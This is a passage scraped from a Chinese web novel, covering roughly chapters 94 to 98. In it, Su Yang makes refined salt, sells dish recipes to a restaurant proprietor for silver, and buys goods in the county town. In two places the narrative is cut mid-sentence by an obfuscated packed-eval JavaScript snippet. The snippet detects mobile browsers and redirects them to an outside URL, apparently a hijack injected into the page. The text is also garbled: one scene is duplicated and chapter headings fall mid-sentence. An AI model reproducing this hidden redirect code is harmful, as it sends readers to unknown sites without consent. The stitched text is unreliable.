苏阳不以为意地摆了摆手。 陈木生挠了挠头,憨憨一笑,也不再多问。 心里却是暗自嘀咕: 二哥这本事,真是越来越让人看不透了! 他在县城里见过那些所谓的“精盐”,可跟苏阳弄出来的这一比,简直一个天上,一个地下! 林绮娘和王婶也没见过这阵仗。 两个女人家,你看看我,我看看你,都从对方的眼神里看到了震惊和崇拜。 唯独苏阳,还是一副不太满意的样子。 他伸出手指,轻轻蘸了一点儿放进嘴里,眉头微微皱了起来。 “唉,还是不行啊!” 他砸吧砸吧嘴,摇了摇头。 “这盐的成色,还是差了点儿意思。” 苏阳这话,听着像是自言自语,又像是说给大伙儿听的。 可把其他人给听愣了。 尤其是陈木生,差点没把眼珠子给瞪出来。 二哥,你这还嫌不好? 那咱们平时吃的都是啥? “二哥,这盐……已经很好了……” 陈木生小心翼翼地说道,生怕哪句话说错了,惹得苏阳不高兴。 “得了得了,我知道你们没见过世面。” 苏阳摆了摆手,打断了陈木生的话。 “这盐啊,也就勉强能入口,离真正的精盐还差得远呢!” “不过,眼下也没别的法子,只能先凑合着吃了。” 这话要是让外人听见了,非得气得吐血不可。 这盐,比城里那些老爷们吃的都好。 你还凑合? 那我们吃的岂不是猪食? “来,石头,把这些盐给大家伙儿分一分。” 苏阳从灶台上拿起一个粗瓷大碗,递给陈木生。 “啊?二哥,这……这怎么分?” 陈木生一愣,有些不知所措。 “还能怎么分?按人头分呗!” 苏阳不耐烦地说道。 “一人先分二两,回头不够了再加!” “这……” 陈木生犹豫了一下,还是接过了碗。 他心里清楚,这些盐有多金贵。 别说二两,就是一钱,那也值不少钱呢! “二哥,这盐太贵重了,我们不能要……” “是啊二哥,你还是留着吧,我们吃粗盐就行……” “二哥……” 几个胆子小的小子,已经开始往后退了。 “少废话!” 苏阳眼睛一瞪。 “让你们拿着就拿着,哪儿那么多废话!” “记住了,以后跟着我苏阳,有肉吃,有酒喝,还有精盐吃!” “谁要是再敢推三阻四,别怪我不客气!” 苏阳这话一出口,谁还敢再说什么? 一个个乖乖地排好队,等着陈木生分盐。 陈木生也没辙,只能硬着头皮,给每人分了二两。 其实,苏阳还真没把这些盐看得有多重。 之所以这么做,一来是为了笼络人心,二来也是为了试试水。 看看这些盐,到底能不能卖出去。 要是真能卖个好价钱,那可就发财了! 至于怎么分盐,苏阳也有自己的考量。 他特意让石头用从麻袋上撕下来的油纸包盐。 一是为了防潮。 二来,他想让大伙知道这精盐来之不易。 要是敞开了供应,这帮小子还不当饭吃? 分完盐,天色已经不早了。 几个小子揣着盐,小心翼翼地往家走。 生怕一个不小心,把这金贵的玩意儿给弄洒了。 他们前脚刚走,后脚就有人把消息传了出去。 “听说了吗?苏二给他手下的小子分盐了!” “啥盐?粗盐?” “粗盐?你做梦呢!是精盐!” “精盐?真的假的?” “骗你干啥?我亲眼看见的,那盐,白得跟雪花似的!” “乖乖,苏二这是发财了啊!” “可不是嘛,听说那盐,比城里卖的还好呢!” “走走走,看看去!” …… 一时间,整个青龙村都轰动了。 不少人放下手里的活计,跑去看热闹。 赖志成家。 “他苏二的盐是真白啊……” 赖志成的小姨子,一进门就嚷嚷开了。 “跟雪花似的,又白又细,真好看……” “姐夫,你是没看见,那些盐,比城里卖的还好……” 她一边说,一边比划着。 那兴奋劲儿,就跟捡了金元宝似的。 赖志成坐在炕上,脸色铁青。 他越听越生气,越听越窝火。 这个小姨子,自从去了苏阳家,就跟变了个人似的。 张嘴闭嘴都是苏二,简直没把他这个姐夫放在眼里! 第九十四章 “姐,姐夫,要不……咱也去弄点儿精盐尝尝?” 赖志成的小姨子,眼巴巴地望着自己的姐姐和姐夫。 她这话一出口,赖志成终于爆发了。 “尝尝?拿什么尝?你当那精盐是白来的?” “一两银子一斤,你卖身都买不起!” 赖志成越说越气。 “滚,给我滚出去!” 他指着门口,冲着自己的小姨子吼道。 赖志成的小姨子从未遭受过如此屈辱,顿时也来了脾气。 “出去就出去,谁稀罕!” 她狠狠地瞪了赖志成一眼,扭头就走。 “我找苏二去,让他给我弄点儿精盐尝尝!”“苏二哥的盐,啧啧,真是绝了!那颜色,比雪花还要白上三分;那细度,比上好的精面还细!我跟你们说,就是知府老爷家吃的盐,也未必比得上!” 赖志成的小姨子王婉苏,打从苏阳家回来,整个人就跟被勾了魂儿似的,小嘴嘚啵嘚说个没完,眉飞色舞,就差没手舞足蹈了。 赖志成黑着一张脸,屁股底下的炕像是烧红了的烙铁,烫得他坐立不安。 他心里憋着一股邪火,这死丫头,咋就不知道向着谁呢! “姐,姐夫,要不……咱也买点儿精盐回来?就当……就当开开眼?” 王婉苏双手托腮,做出一副陶醉的模样,一双水灵灵的大眼睛直勾勾地盯着赖志成,就差没流哈喇子了。 “买个屁!” 赖志成猛地一拍炕沿,震得炕上的针线笸箩都跳了起来,他像一头发怒的公牛,鼻孔里直喷粗气: “一两银子一斤!你就是脱光了站街上喊一天,也挣不来这买盐钱!” 他越说越气,从炕上蹦下来,指着王婉苏的鼻子破口大骂: “滚!给老子滚出去!以后少踏进我家门槛!” 王婉苏也是个烈性子,平日里被姐姐、姐夫娇惯坏了,哪受过这个? 她脖子一梗,眼泪在眼眶里打转,却硬是没让它掉下来: “走就走!谁稀罕你家这破地方!我找苏二哥去!让他给我弄精盐去!” 话音未落,人已经跑得没影了。 …… 赖志成再恼火,生意还是得做下去。 眼瞅着苏阳明天要进城,他心里再怎么不痛快,也只能打落牙齿和血吞,让手下的帮闲把这几天的“收成”给苏阳送去。 韩家父子双双挂彩,成了“卧床不起”的难兄难弟,没人盯着,几个帮闲出工不出力,三天打鱼两天晒网,美其名曰“休养生息”。 几天下来,统共就捞上来两百来斤鱼。 赖志成一看这数,气得七窍生烟,差点儿没把刚结痂的伤口给挣裂了。 他有个雷打不动的规矩:银钱交易,绝不假手于人。 倒不是他有多勤快,主要是怕手底下的人见钱眼开,玩“狸猫换太子”的把戏。 可眼下自己成了“废人”,总不能让钱长腿自己跑了吧? 他只能硬着头皮让婆娘去和苏阳交割。 赖志成婆娘当着他的面,拍着胸脯保证完成任务,可一转身,脸就拉得比长白山还长。 上次被苏阳当众“教育”了一顿,她现在是又恨又怕,打心眼儿里不想再跟苏阳打照面。 她眼珠子一转,计上心来,把自家妹子王婉苏推到了前台,让她跟着几个帮闲去收钱,自己则躲在家里“运筹帷幄”。 王婉苏听说是去苏阳家,心里乐开了花,脸上却故作矜持,扭捏了半天才“勉为其难”地答应下来。 她一路小跑,紧赶慢赶地跟在几个挑鱼的帮闲身后,生怕去晚了见不着苏阳。 王婉苏跟她姐不同,她姐是那种膀大腰圆的“重量级”选手,而她则是该胖的地方胖,身材该有的曲线都有,凹凸有致,用村里老少爷们儿的话说,就是“长得带劲儿”。 可惜,红颜薄命,王婉苏一连说了三门亲,都是还没过门,男人就先走一步,留下她一个孤家寡人。 “扫把星”的名头一传开,别说提亲的,就是平时跟她说话的男人都少了。 王婉苏也是临溪村村正的女儿,可如今在村里是人人喊打,最后实在没招了,跑到姐姐家避难,一来二去,一年到头,倒有大半年是在这青龙村里。 前几日苏阳收拾韩家父子的场面,王婉苏可是从头看到尾。 苏阳那股子天不怕地不怕的劲头,深深地印在了王婉苏的心里,让她茶饭不思,夜不能寐。 可真等两人见了面,王婉苏却怂了,原先想好的那些俏皮话、家常话,全都被抛到了九霄苏外,只剩下两只眼睛直勾勾地盯着苏阳,连眨都不眨一下。 …… 赖志成婆娘见妹子这副神不守舍的样子回来,那双精明的三角眼立刻就立了起来: “婉苏,你老实跟姐说,是不是苏二那小子占你便宜了?” “没……没有的事……他哪有……” 王婉苏慌忙摆手,眼神却闪烁不定,一看就是心里藏着事儿。 “还说没有?你那点儿心思,还能瞒得过我?” 赖志成婆娘冷哼一声,语气里带着几分恨铁不成钢: “你呀你,平时不是挺伶牙俐齿的吗?怎么一见着那小子,就跟丢了魂儿似的?走,跟我去会会他!” 她不由分说,拉起王婉苏就往外走,那架势,像是要去捉奸。 …… 苏阳对韩家这些鸡毛蒜皮的小事一无所知。 一大早起来,他一边指挥着帮闲把鱼过秤,一边让手下的小子们把豆芽分门别类地装好。 一大堆黄豆芽,满满一筐绿豆芽,外加两百斤鱼,还有几斤点豆腐用的食用碱,这就是苏阳这趟进城的“全部身家”。 至于那些能换来大把银子的精盐? 苏阳压根就没打算带。 他琢磨着,现在火候还没到,等自己再“发育”一段时间,把各路神仙都打点好了,再出手也不迟。 这次进城,苏阳把能带的人都带上了,除了两辆牛车之外,还特意雇了一头驴。 从凤子楼“顺”来的那匹宝马,被苏阳当宝贝似的留在家里,这种“奢侈品”,现在还不是招摇过市的时候。 石头和路旭东当仁不让地成了“车夫”,其他小子们则迈开“十一路”,紧随其后。 …… 苏阳前脚刚迈出村,后脚就有人跟了上来,像条尾巴似的坠在后头。 赖守义身上的伤还没好透,走起路来一瘸一拐,跟踩了高跷似的。 可他顾不上这些了,他和赖志成的心里都憋着一口气,再不找回场子,非得憋出个好歹来! 赖守义沿着苏阳走过的路线,一路追到临溪村,然后来了个“乾坤大挪移”,朝南边拐了过去。 又走了五里多地,来到一片松树林边上。 第九十五章 赖守义实在是走不动了,一屁股坐在地上,靠着一块石头喘粗气。 他刚坐下,还没来得及歇口气,头顶上就传来一阵“沙沙”的声响。 赖守义好奇地抬头一看,顿时吓得三魂出窍,七魄升天—— 一张大网从天而降,把他来了个“瓮中捉鳖”! “别动!敢动一下,老子白刀子进红刀子出!” 赖守义还没反应过来,后腰上就传来一阵剧痛,一个硬邦邦、凉飕飕的玩意儿顶了上来。 “好汉爷爷……饶命……我是来找人的……找我哥……” 赖守义差点儿没尿裤子,他哪能不知道,顶在自己腰上的,分明是一把开了刃的刀! 刀尖都扎进肉里了,能不疼吗? …… 清阳县,西门外。 几个守城的兵丁看着眼前的两辆牛车、一头灰不溜秋的毛驴,还有苏阳领着的十几个半大孩子,你看看我,我看看你,都从对方的眼神里看到了疑惑。 这家伙又出现了? 而且每次来,排场都比上次大,人越来越多,装备也越来越精良。 想当初,这帮人穿得跟要饭的差不多,现如今,一个个都换上了新衣裳,瞧那料子,滑溜溜、光鲜鲜的,一看就不是便宜货! 这帮兵痞虽然平时不干正事,但眼力劲儿还是有的,一眼就看出苏阳他们穿的是上好的云锦布。 上次苏阳进城,在一家南货铺子里“扫荡”了一番,弄了不少棉布回去。 除了给自己和林绮娘留了些,剩下的都分给了手下的小子们,让他们家里人给做了新衣裳。 这些衣裳可不是林绮娘和王婶两个人能搞定的,苏阳索性做了个顺水人情。 有这等好事,谁家不抢着干? 别说这辈子都没穿过的好料子,就是几尺粗布,对庄户人家来说,也是稀罕物! 苏阳这么做,可不是钱多了烧得慌,而是为了树立“品牌形象”。 要让清阳县的百姓全都明白,青龙村的人有钱、有势、不好惹! 穿上统一的新衣裳,更显得苏阳和凤子楼关系“不一般”。 几个守门的军汉心里再怎么不乐意,无奈只好让他过去,连一个铜板的进城税都没敢收。 新来的几个小子不明就里,石头心里可是门儿清。 想当初,他们第一次进城的时候,那叫一个惨,差点儿被这帮兵痞给敲骨吸髓,要不是苏阳能说会道,怕是连城门都进不去。 这才几天工夫? 这帮人就跟换了张脸似的,连进城税都免了! 这变化,简直比戏台上的变脸还快! “石头,你去带着他们几个找牙人张,让他帮咱们搞一头壮牛配一辆大车,这驴也得配辆车。你们几个完事之后去郑掌柜的粮店那儿等着,我先去凤子楼把货给卖了,咱分头行动,赶时间……” 苏阳把声音压得低低的,有条不紊地安排着。苏阳盘算着,得给卧龙沟添几头牛了。 北边那片荒地,还等着开垦呢。 这大冷天,正是牛便宜的时候,他寻思着,年前怎么着也得弄上十头。 “石头,这事儿就交给你了,银子先拿着,不够再来找我。牛和车,咱都相看过,你心里也有个数。老孙那人也靠谱,不会坑咱们。” 苏阳把一袋银子塞给石头,又嘱咐了几句。 这次进城,两件事。 苏阳带着四个小伙计,赶着牛车,直奔凤子楼。 “哟,苏公子,您可算来了!” 肥掌柜那张大圆脸,笑得跟盛开的牡丹花似的,颠儿颠儿地就迎了出来,身上的肥肉都跟着泛起了油光。 苏阳一见这架势,心里就犯嘀咕: “这胖子今天吃错药了?笑得这么瘆人,难不成捡到金元宝了?” 还真让苏阳说着了。 凤子楼的生意,最近火得都快揭不开锅了。 肥掌柜做梦都在数钱,能不高兴吗? 当然,腰也快累断了。 “掌柜的,咱也别绕弯子了,我又捣鼓出一样新吃食,您给品鉴品鉴?” 苏阳也不废话,开门见山。 “哦?又有好东西了?快,里边请!” 肥掌柜一听,眼睛都冒绿光了,赶紧把苏阳往里让。 到了后院,肥掌柜直接把自己的私家小灶房给让了出来: “苏老弟,这儿没人打扰,你就放开了折腾,缺啥少啥,吱一声就行!” 这小灶房,可是肥掌柜的命根子。 里头藏着他炒菜的秘方,平时连只苍蝇都飞不进去。 路旭东和周阳,跟两尊门神似的,往门口一杵。 苏阳挽起袖子,准备开工。 没多大会儿,一盘绿莹莹的酸辣银芽就端上了桌。 苏阳心里有点遗憾,要是能来点辣椒,做成酸辣口味,那就更带劲了。 肥掌柜这些日子,黄豆芽都快吃吐了。 他满心以为苏阳能整出啥惊天动地的菜肴。 结果一看,还是豆芽,顿时就没了兴致。 “这玩意儿,再怎么变,它也是豆芽啊……” 肥掌柜心里嘀咕着,脸上却还得装出感兴趣的样子。 绿豆芽和黄豆芽,颜色是不一样。 可在他看来,味道能有多大区别? 他拿起筷子,夹了一根豆芽,心想随便尝尝得了。 谁知道,这绿豆芽刚一进嘴,肥掌柜的表情就跟开了染坊似的,五颜六色。 酸、甜、脆、爽…… 这滋味,跟黄豆芽完全是两码事! “这大冬天的,能吃到这么爽口的东西,真是……” 肥掌柜都不知道该怎么形容了。 他越吃越上瘾,根本停不下来。 “好!绝了!苏老弟,这玉露豆苗,你打算卖多少钱一斤?” 肥掌柜一边往嘴里扒拉,一边问。 “还是老规矩,一百文。” 苏阳这次没坐地起价。 肥掌柜愣了一下。 这小子,抠门是出了名的,今天怎么转性了? “苏老弟,你这玉露豆苗……是怎么弄出来的?能不能跟老哥说道说道?” 肥掌柜装作漫不经心地打听。 苏阳笑而不语,反而扯起了别的。 肥掌柜心里跟明镜似的。 这小子,原来在这里埋伏我! 他清了清嗓子,直接把话挑明了: “苏老弟,咱也别兜圈子了。你这两种豆芽的法子,我都买了!你开个价吧!” 苏阳心想,本来还想留一手,把酸辣银芽的做法单卖。 没想到,这肥掌柜的胃口还挺大。 也难怪,上次他就想买豆芽的方子,只是没谈拢价钱。 “掌柜的,这两种豆芽的做法,其实差不多。上次跟您提过,一千两银子,两种豆芽的秘方,都归您!” 苏阳竖起一根手指,报出了价。 “成交!” 肥掌柜连磕巴都没打,直接就答应了。 这爽快劲儿,让苏阳都有些始料未及,早知道就该多要点。 “掌柜的,我这儿还有一道压箱底的菜,金龙鱼。 第九十六章 您要是感兴趣,我给您露一手?” 苏阳决定趁热打铁,把鱼也给推销出去。 “金龙鱼?这名字倒是新鲜。你先做出来,我尝尝再说。” 肥掌柜来了兴趣,但也没把话说死。 苏阳二话不说,进了小灶房,开始忙活。 一条两斤来重的鲤鱼,刮鳞,去腮,开膛,除腥线…… 动作那叫一个麻利。 鱼骨剔得干干净净,鱼肉上剞出细密的花刀。 这刀工,可不是一天两天能练出来的。 想当初,苏阳为了讨好嘴刁的小师娘,没少在这上面下功夫。 用黄酒和盐把鱼腌上,再裹上一层薄薄的淀粉。 下油锅,炸到金黄酥脆。 鱼头也不能浪费,单独炸好,摆在盘子里,像模像样。 另起锅,熬糖色,加水,加醋,勾芡,淋油…… 把这熬好的酸甜汁,往炸好的鱼身上一浇,再撒上一把炒香的松子。 一道色香味俱全的金龙鱼,就这么热腾腾地出锅了! 苏阳把菜往桌上一端,肥掌柜的眼睛都看直了! 闻着这酸甜味儿,他本以为这金龙鱼跟酸辣银芽一个路数。 可等他尝了一口…… “这……这……这也太好吃了吧!” 肥掌柜激动得都有些语无伦次了。 外皮酥脆,鱼肉鲜嫩,酸甜适中,还带着一股子焦香。 最关键的是,这卖相也太好了! 活脱脱一只小松鼠,让人看着就想吃! 凤子楼的伙计们,隔着老远,都能闻到那诱人的香味儿。 一个个馋得口水都快流到地上了。 尤其是那几个大厨,恨不得把肥掌柜给扔出去,自己冲进去大吃一顿。 “太不像话了!吃独食,也不怕撑死!” 一个年轻的厨师,愤愤不平地嘀咕。 “就是,这么好的菜,连尝都不让咱尝一口,真是抠门到家了!” 旁边一个年纪大点的厨师,也跟着附和。 肥掌柜可不管这些,他现在满脑子都是这美味的金龙鱼。 没一会儿,整条鱼就被他吃了个精光。苏阳对于该开多少价,心里完全没谱。 只能让肥掌柜看着给。 出乎意料的是,这肥掌柜这次大方得让人简直不敢相信。 “苏老弟,”肥掌柜的眼睛眯成一条缝,油腻的脸上堆满了笑,“咱都是实在人,不玩那些虚头巴脑的。这道金龙鱼,加上之前那道甜酸玉芽,我给你这个数,怎么样?” 肥掌柜伸出两根手指,比划了一下。 两百两? 一道菜的菜谱就值一百两? 跟在苏阳身后的路旭东和周阳,眼珠子都快瞪出来了。 下巴也差点惊掉。 他俩平时连饭都吃不饱,哪里见过这阵仗! 在跟着苏阳之前,莫说百两纹银,就是一两,那都是他们做梦都不敢想的巨款。 可今天呢? 先是培育芽菜的方子,凤子楼直接砸了一千两! 现在倒好,做一道菜,也值一百两? 两个小子感觉脑子都不够用了,一片空白,心里只有一个念头: 恨不得立马替苏阳答应下来。 可苏阳接下来的举动,却让两**跌眼镜。 路旭东和周阳心里都觉得苏阳会毫不犹豫地答应,可谁知,苏阳想都没想,直接摇头,脑袋摇得像拨浪鼓一样: “掌柜的,交易不成情谊依旧,咱们以后还有的是机会合作。” 啥? 阳哥儿竟然没答应? 路旭东和周阳顿时急得像是热锅上的蚂蚁,额头上汗珠子都冒出来了,那可是两百两真金白银啊! 阳哥儿这到底是怎么想的? 这一刻,两个小子真想把苏阳那张嘴给缝上!让他再瞎咧咧!再好的买卖都让他给搅黄了! 石头不在,没人能体会这两个小子此刻的心情。那种眼睁睁看着金山银山从眼前飘走的感觉,简直比杀了他们还难受! 果然,肥掌柜也不是吃素的,眼看苏阳不接招,立马换了副嘴脸。 “苏老弟,那你说个数,要多少?”肥掌柜的语气里带着一丝急切,他可不想错过这颗摇钱树。 苏阳缓缓伸出一只手,五指张开,在肥掌柜面前晃了晃,像是变戏法一样: “五百两,一道菜。” 这下,轮到路旭东和周阳傻眼了。 两人张大了嘴巴,半天合不拢,像是两尊石化的雕像。 苏阳倒不是真的心黑想钱想疯了,他只是想探探肥掌柜的底。 他心里清楚得很,就凭这手艺,别说五百两,再翻个几番都有人抢着要。 可清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006419|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳县毕竟只是个小地方,眼界和格局都有限。 若是放在京城,嘿嘿,那价格可就得往上翻几番了! 说起东京汴梁,苏阳就忍不住想起那花花世界。 达官贵人一掷千金,那可真是不把钱当钱! 别说这区区几百两,就是几千两,几万两,在那些人眼里,估计也就是个零头! 哪像这小小的清阳县,能出得起这个价钱的,恐怕也就只有这凤子楼的肥掌柜了。 不过苏阳也做好了两手准备,这肥掌柜要是嫌贵,那咱就自己留着。 等以后时机成熟了,自己开个酒楼,到时候还不是想怎么定价就怎么定价? 让苏阳没想到的是,肥掌柜竟然一口答应了,那叫一个干脆利落! “好!苏老弟,咱们就这么说定了,一言为定!”肥掌柜说着,伸出手掌就要和苏阳击掌。 苏阳也没含糊,直接“啪”的一声,和肥掌柜击掌为誓。 这击掌可不是闹着玩的,在大元朝,这是一种很庄重的承诺。 有些讲究人,宁可相信口头约定,也不相信白纸黑字。 当然,肥掌柜是生意人,文书终归要画押。 肥掌柜直接从柜台后面拿出笔墨纸砚,龙飞凤舞地写了起来。 没一会儿,两份契约就写好了。 苏阳和肥掌柜分别在上面签上了自己的名字,按上了手印。 这买卖,就算板上钉钉,谁也反悔不了了。 签契约之前,肥掌柜还特意让人把银子都抬了上来。 足足两大箱,白花花的,晃得人眼晕。 苏阳粗略地数了数,两千两专利费,一分不少,之前卖鱼和豆芽的五十两,也都在里面。 肥掌柜笑眯眯地看着苏阳,那眼神,就像是看着一棵摇钱树。 他现在可是一点儿也不担心苏阳会耍什么花招,这凤子楼可是他的地盘,量苏阳也翻不出什么浪花来。 收了银子,苏阳也不再耽搁,拉着肥掌柜就进了后厨。 苏阳先从金龙鱼开始教起。 只见他手起刀落,一条活蹦乱跳的鲤鱼,在他手里就像是面团一样,任由他摆布。 去鳞、开膛、片鱼肉…… 每一个动作都干净利落,没有一丝多余。 肥掌柜在一旁看得是目瞪口呆,他也是行家,自然看得出苏阳这手法有多厉害。 第九十七章 别的不说,就这刀工,没个十年八年的苦练,绝对练不出来! 更别提接下来苏阳展示的炸鱼、熬汁、浇汁等一系列操作,更是让肥掌柜叹为观止。 他这才明白,自己之前做的那些菜,跟苏阳的比起来,简直就是小巫见大巫,根本不在一个档次上! 等到苏阳把金龙鱼的做法演示完,肥掌柜已经迫不及待地想要自己动手试试了。 苏阳也没拦着他,只是在一旁指点了几句。 肥掌柜不愧是清阳县的大厨,悟性极高,很快就掌握了要领。 接下来是酸辣银芽,这道菜的做法相对简单一些。 关键在于火候的掌握和调料的比例。 苏阳同样是先演示了一遍,然后让肥掌柜自己动手。 肥掌柜很快就学会了,而且还举一反三,琢磨出了几种新的酸甜口味的菜式。 这让苏阳不得不感叹,高手就是高手,一点就透,一通百通。 自己教给他的,不仅仅是两道菜的做法,更是一种烹饪理念,一种全新的思路。 这才是这笔买卖真正值钱的地方! 至于发豆芽的诀窍,苏阳并没打算现在就告诉肥掌柜,准备再等等。 得到两道招牌菜做法的肥掌柜,此刻心里美滋滋的,半点没有觉得自己花了冤枉钱。 苏阳要走,他一直把人送到大门口,还拉着苏阳的手,一个劲儿地说些感激的话。 那热情劲儿,就跟见了亲人似的。 临走的时候,肥掌柜还不忘叮嘱苏阳,以后要是再有什么好东西,一定要先想着他。 然而,苏阳他们前脚刚走,肥掌柜脸上的笑容瞬间就消失了,取而代之的是一片阴沉。 他朝站在一旁的一个年轻人招了招手,示意他跟自己进雅间。 这青年大概二十七八岁的年纪,身材瘦高,眼神中透着一股子精明和狠厉,正是肥掌柜的侄子张刚。 两人一进雅间,张刚就立刻压低声音说道: “二叔,您就放心吧,一切都安排妥当了,保证他们一个也跑不了!” 胖东家脸色阴沉,一字一顿地说道: “这次的事情非同小可,银子的事小,关键是不能泄露了菜谱,必须做的滴水不漏,明白吗?” 张刚拍着胸脯保证道: “二叔您就放一百个心吧,我办事您还不放心?这次我亲自出马,绝对万无一失!” 肥掌柜微微点了点头,似乎对张刚的保证还算满意,顿了顿,又问道: “对了,黄八那边还没消息吗?” 张刚摇了摇头: “还在派人四处找,暂时还没有发现他的踪迹,不过二叔您放心,我已经加派人手了,就算掘地三尺,也要把他给找出来!” “哼,废物!”肥掌柜狠狠地一拍桌子,眼中闪过一丝狠戾,“必须尽快找到他,活要见人,死要见尸!” …… 凤子楼外。 负责看牛车的两个小子,看着路旭东和周阳一人背着一个大包袱,像丢了魂一样从里面走出来。 两人你看看我,我看看你,都有些摸不着头脑。 这俩人进去的时候还好好的,怎么出来就变成这副模样了? 难不成是在里面挨打了? 直到上了牛车,离开了凤子楼,路旭东和周阳还感觉自己像是在做梦一样。 两人低头看了看自己怀里抱着的包袱,沉甸甸的,入手冰凉。 包袱里装的,真的是银子吗? 路旭东还好,之前毕竟见过苏阳用炒菜方子换银子,多多少少有点心理准备。 可周阳就完全不一样了,他觉得这一切都太不真实了,像是天上掉馅饼一样。 他忍不住偷偷掐了自己一把,疼得龇牙咧嘴,这才确信自己不是在做梦。 他抬头看向苏阳,眼神中充满了敬佩和感激。 在他心里,苏阳简直就是神仙下凡,无所不能! 自己这辈子能跟着苏阳,真是八辈子修来的福气!“石头,办得不错。” 苏阳扫了一眼停在粮店门口的牛车和驴车,微微颔首。 “赶车的手艺也见长,没给少爷我丢脸。” 石头憨厚地挠挠头,咧嘴一笑,露出两排整齐的白牙。 “都是托少爷的福,小的们才能吃饱穿暖,有这大牲口拉车!” 路旭东和周阳则在一旁,眼巴巴地看着苏阳。 他们也想赶车,也想被夸。 可谁让石头手脚麻利,先一步把活儿揽了过去呢? “行了,都别愣着了,干活!” 苏阳一声令下,几个人顿时忙碌起来。 “郑掌柜,几日不见,您这气色是越来越好了!” 刚踏进粮店,苏阳就给掌柜的送上一记高帽。 郑掌柜捻着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006420|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡须,脸上的笑容如菊花般绽放。 “哈哈,苏公子说笑了,还不是托您的福,照顾小老儿生意!” 他斜睨了一眼苏阳身后跟着的几人,心中暗自盘算。 这小子,排场是越来越大了。 “掌柜的,老规矩,米面粮豆,各来两石。” 苏阳也不废话,直接报上数目。 “好嘞!您稍等!” 郑掌柜客套一句,转头吩咐伙计: “麻利点,给苏公子把货备齐了。” 几个伙计从屏风后面绕出来,手脚麻利地开始干活。 不一会儿,三辆牛车、一辆驴车就装得满满当当。 两石大米,两石白面,两石粟米,两石高粱,两石黄豆,剩下两石青豆。 眼瞅着还能再装点,苏阳却叫了停。 “行了,留点儿空,别装太满。” 郑掌柜一怔,随即露出“我懂你”的眼神。 “苏公子做事,就是周到!” 他竖起大拇指,小小地拍了个马屁。 结账时,苏阳看似漫不经心地提起: “掌柜的,最近这粮价还算稳当吧?” 郑掌柜眼神闪了闪,压低了嗓门: “面上瞧着还行,可……” 他欲言又止。 “可什么?掌柜的但说无妨。” 苏阳追问。 郑掌柜往苏阳跟前凑了凑,声音压得更低了: “听说北边闹腾得厉害,有些个粮商啊,都开始捂着口袋不往外卖了,就怕出点儿啥闪失……” 苏阳心里咯噔一下。 果不其然,这世道,啥事儿都可能发生。 他微微点头,没再多说。 这种事,不是他该操心的。 出了粮店,苏阳带着一行人,直奔上次那家南货铺子。 本来嘛,他是打算先去铁匠铺的。 可转念一琢磨,还是先买些布匹,把回头要买的家伙事儿给盖上比较稳妥。 南货铺的掌柜,那可真是把苏阳给记到骨子里了。 前两天,这位爷可是眼睛都不眨地买了他一大堆好货。 “哟!这不是苏公子吗?您可算来了!快,里边请!” 掌柜的热情劲儿,简直能把人给烤化了。 点头哈腰地,非要把苏阳往里让。 “掌柜的客气,客气了。 第九十八章 ” 苏阳笑着拱了拱手,算是打了招呼。 寒暄几句,掌柜的殷勤问道: “上次那些个布,您用着还称心吧?” “还不错,这次再来个十几匹。” 苏阳轻描淡写地说。 掌柜的乐得眼睛都眯成了一条缝。 “得嘞!您稍候,我这就去给您拿!” 说着,一溜小跑亲自去仓库提货。 苏阳在铺子里转悠,目光扫过一堆货物。 “掌柜的,这是啥玩意儿?” 他指着一堆黑不溜秋的东西问。 掌柜的回头一看,笑容顿时一僵,支支吾吾地说不出话。 苏阳走近了细看,眉头一挑: “这……不会是糖霜吧?” 掌柜的脸色一变,急忙摆手: “客官您可不敢乱说!这糖霜可是极品,从那遥远的大食国运来的!” 所谓大食,就是晋朝对阿拉伯等地的称呼。 苏阳撇了撇嘴,没说啥。 他还能不知道这玩意儿? 多半是天竺那边过来的,跟大食可没啥关系。 这些黑了吧唧的,连后世的红糖都不如,竟然敢要两百文钱一斤? 抢钱呢这是! 不过,他还是决定买。 “掌柜的,你这有多少,我全要了。” 苏阳淡淡地说道。 掌柜的一愣,紧接着就是一阵狂喜。 “好!好!我这就给您过秤!” 他手忙脚乱地开始称重、打包。 加起来三百多斤,差不多六十两银子。 苏阳压根儿就没放在心上。 他买这玩意儿,可不是为了自己个儿吃。 他是想试试,能不能提纯出雪白的糖。 这要是弄成了,可就发大财了! 刚才他打听过,这已经是铺子里最好的糖了。 在凤子楼的时候,他也问过肥掌柜,他们那儿的糖更金贵,标价五钱一斤! 可就那样的,苏阳也看不上眼。 所以,他才起了这心思。 “掌柜的,你这糖,卖相可不咋地啊。” 苏阳故意挑毛病。 “哎呦客官,您放心,这糖绝对没毛病!” 掌柜的急忙解释。 “就是这大老远运过来,难免磕磕碰碰的,看着不那么好看了,可这味道,绝对是一等一的!” 苏阳假装犹豫了一下: “那……行吧,有多少算多少。” 掌柜的喜出望外,连声答应。 走出南边杂货店,苏阳一行人直奔铁匠铺。 刚走到巷子口,就看到一个熟悉的身影。 铁匠铺的掌柜,正站在门口,朝这边张望呢。 见苏阳过来,他脸上闪过一丝复杂的神色,几步迎了上来。 “客官,您……” 他欲言又止。 “掌柜的,您可别误会,小爷不是来退东西的,是来照顾您生意的!” 苏阳笑眯眯地打断了他。 铁匠一愣,脸上顿时由阴转晴。 “客官里面请,里面请!” 他换上一副笑脸,热情地招呼苏阳。 